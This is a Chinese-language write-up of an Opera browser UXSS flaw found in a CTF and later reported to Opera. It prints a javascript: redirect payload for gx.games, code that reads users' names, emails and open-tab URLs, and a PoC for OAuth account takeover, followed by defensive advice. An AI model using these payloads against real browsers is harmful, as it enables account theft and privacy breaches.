当 CTF 遇上漏洞赏金:Opera 浏览器中的一个严重 UXSS
字数 1369 2025-08-27 12:33:22
Opera浏览器严重UXSS漏洞分析与利用教学文档
漏洞概述
本教学文档详细分析Opera浏览器中的一个严重UXSS(通用跨站脚本)漏洞,该漏洞存在于Opera的GX.games域中,允许攻击者绕过同源策略限制,访问敏感浏览器API,最终可能导致用户隐私信息泄露和OAuth账号接管。
漏洞发现背景
- 发现时间:2023年9月25日
- 发现场景:WACON CTF 2023线下总决赛中的"operaaa"挑战题
- 发现团队:Super Guesser团队
- 预期解题路径:
- 绕过扩展中的URL检查触发XSS
- 从iframe沙箱中逃逸
- 找到能访问chrome.tabs()的隐藏Opera域
- 泄露已打开标签页的URL(包含flag)
漏洞技术细节
XSS漏洞位置
漏洞存在于GX.games域的signup页面,通过redirectUrl参数实现:
https://gx.games/signup/?redirectUrl=javascript:alert(origin)
此URL会直接执行JavaScript代码,实现无需用户交互的XSS攻击。
特权访问能力
由于GX.games属于Opera的特殊域,攻击者可以访问以下敏感API:
-
opr对象:
opr.operaIdentityPrivate.getFullname()- 获取用户全名opr.operaIdentityPrivate.getUseremail()- 获取用户邮箱- 修改浏览器工作区
- 更改浏览器壁纸
-
chrome.tabs API:
chrome.tabs.query()- 查询所有打开的标签页chrome.tabs.create()- 创建新标签页
URL泄露攻击
利用chrome.tabs.query可以获取浏览器中所有打开标签页的URL和标题:
chrome.tabs.query({}, (tabs) => {
// tabs数组包含所有标签页信息,包括URL和标题
alert(`发现${tabs.length}个标签页`);
});
账号接管攻击链
OAuth流程利用
Opera Sync登录流程存在漏洞:
- 攻击者生成自己的state值
- 受害者登录后被重定向回带有code和账号信息的URL
- 由于state不匹配,受害者看到错误页面
- 攻击者利用chrome.tabs窃取完整的重定向URL(包含code)
- 攻击者使用该URL登录受害者账号
攻击PoC
// 创建登录标签页
chrome.tabs.create({
url: `https://auth.opera.com/account/confirm-identity?...&state=#Attacker_State`
});
// 稍后获取所有标签页URL
setTimeout(() => {
chrome.tabs.query({}, (tabs) => {
document.body.innerHTML = `
<h1 style="color:red">
pwned! 用这个URL登录受害者账号:<br />
<textarea cols="50" rows="10">${tabs[tabs.length-1].url}</textarea>
</h1>`;
});
}, 9000);
漏洞影响范围
-
受影响产品:
- Opera (PC、Mac、Linux)
- Opera GX (PC、Mac、Linux)
-
严重性:
- 跨域URL泄露
- OAuth账号接管
- 破坏全网OAuth保护机制
防御措施
对于开发人员
-
输入验证:
- 严格验证redirectUrl参数,禁止javascript:等危险协议
- 使用白名单机制限制重定向目标
-
权限隔离:
- 限制特殊域对敏感API的访问
- 实现更严格的权限控制系统
-
OAuth加固:
- 使用PKCE增强OAuth安全性
- 确保state参数的正确验证
对于用户
- 及时更新Opera浏览器到最新版本
- 避免在不安全环境下使用Opera登录敏感账户
- 使用独立的浏览器进行重要账号操作
时间线
- 2023年9月25日:漏洞在CTF比赛中被发现
- 后续:漏洞被报告给Opera安全团队并获得修复
总结
本漏洞展示了现代浏览器中特权域的安全风险,以及XSS漏洞与浏览器API结合可能造成的严重后果。通过此案例,安全研究人员可以学习到:
- 特权域XSS的特殊危害性
- 浏览器扩展API的安全风险
- OAuth流程中的潜在攻击面
- 从CTF挑战到真实漏洞挖掘的转换思路